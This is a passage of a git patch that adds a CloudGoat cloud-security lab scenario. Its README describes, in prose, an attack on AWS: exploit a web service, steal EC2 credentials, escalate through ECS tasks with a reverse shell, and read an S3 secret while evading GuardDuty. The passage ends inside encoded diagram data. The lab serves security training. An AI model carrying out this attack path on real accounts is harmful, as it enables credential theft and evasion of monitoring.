From a8a44680d8e46568cccfb566f34ae2e6ec321e89 Mon Sep 17 00:00:00 2001 From: 2W Date: Sun, 29 Oct 2023 15:25:10 +0900 Subject: [PATCH 01/31] Add new scenario/ecs_privesc_evade_protection --- .../ecs_privesc_evade_protection/README.md | 73 +++++++ .../assets/diagram.png | Bin 0 -> 40233 bytes .../assets/flag.txt | 1 + .../assets/index.py | 150 +++++++++++++ .../cheat_sheet.md | 67 ++++++ .../terraform/cloudtrail.tf | 6 + .../terraform/cloudwatch.tf | 25 +++ .../terraform/ecs.tf | 193 +++++++++++++++++ .../terraform/iam.tf | 198 ++++++++++++++++++ .../terraform/lambda.tf | 49 +++++ .../terraform/outputs.tf | 28 +++ .../terraform/provider.tf | 4 + .../terraform/s3.tf | 72 +++++++ .../terraform/ses.tf | 4 + .../terraform/variables.tf | 39 ++++ 15 files changed, 909 insertions(+) create mode 100644 scenarios/ecs_privesc_evade_protection/README.md create mode 100644 scenarios/ecs_privesc_evade_protection/assets/diagram.png create mode 100644 scenarios/ecs_privesc_evade_protection/assets/flag.txt create mode 100644 scenarios/ecs_privesc_evade_protection/assets/index.py create mode 100644 scenarios/ecs_privesc_evade_protection/cheat_sheet.md create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/ecs.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/iam.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/lambda.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/outputs.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/provider.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/s3.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/ses.tf create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/variables.tf diff --git a/scenarios/ecs_privesc_evade_protection/README.md b/scenarios/ecs_privesc_evade_protection/README.md new file mode 100644 index 00000000..bd2ea6f7 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/README.md @@ -0,0 +1,73 @@ +# Scenario: ecs_privesc_evade_protection + +--- + +**Size**: `please choose one.` + +**Difficulty**: `please choose one.` + +**Command**: `$ ./cloudgoat.py create guardduty_bypass_with_ecs` + +## Scenario Resources + +--- + +- 1 ECS with: + - 1 * ASG with : + - 1 * EC2 + - 1 * Service (web container) +- 2 * S3 (1 * scret, 1 * cloudtrail) +- Detection Mechanisms + - GuardDuty enabled + - CloudWatch + - CloudTrail + - EventBridge + - Lambda + - SES + +## Scenario Start(s) + +--- + +Scenario starts as a web user. + +> **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error. + +## Scenario Goal(s) + +--- + +Read flag.txt in S3 with avoiding various defense techniques. + +## Summary + +--- + +There is a very vulnerable website operating on AWS. The site's security administrator became frightened and took some web security measures and enabled GuardDuty for EC2's credentials. Take a detour and approach S3 and win the secret string. + +## Email setup + +--- + +- If AWS Guard Duty detects your attack in the scenario, we will send you an email. So you need to register an email and respond to AWS authentication mail sent to that email before start. +- If you prefer not to use a standard email address, you might consider services such as https://temp-mail.org/ or https://www.fakemail.net/. + +# SPOILER ALERT: There are spoilers for the scenario blew this point. + +--- + +## Exploitation Route + +--- + +![Scenario Route(s)](assets/diagram.png) + +## Scenario Walk-through + +--- + +- Attacker accesses the web service of a container inside EC2 managed by ECS. +- The attacker exploits vulnerabilities in a web service to access the EC2's credentials. +- The attacker defines and executes an ECS task with the authority of the web developer to privesc or bypass mitigations. Perform a reverse shell attack to access the container been created. +- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String and exits the scenario. + diff --git a/scenarios/ecs_privesc_evade_protection/assets/diagram.png b/scenarios/ecs_privesc_evade_protection/assets/diagram.png new file mode 100644 index 0000000000000000000000000000000000000000..2539a7a2800a4ff0386f61d78acb9df232ab3382 GIT binary patch literal 40233 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 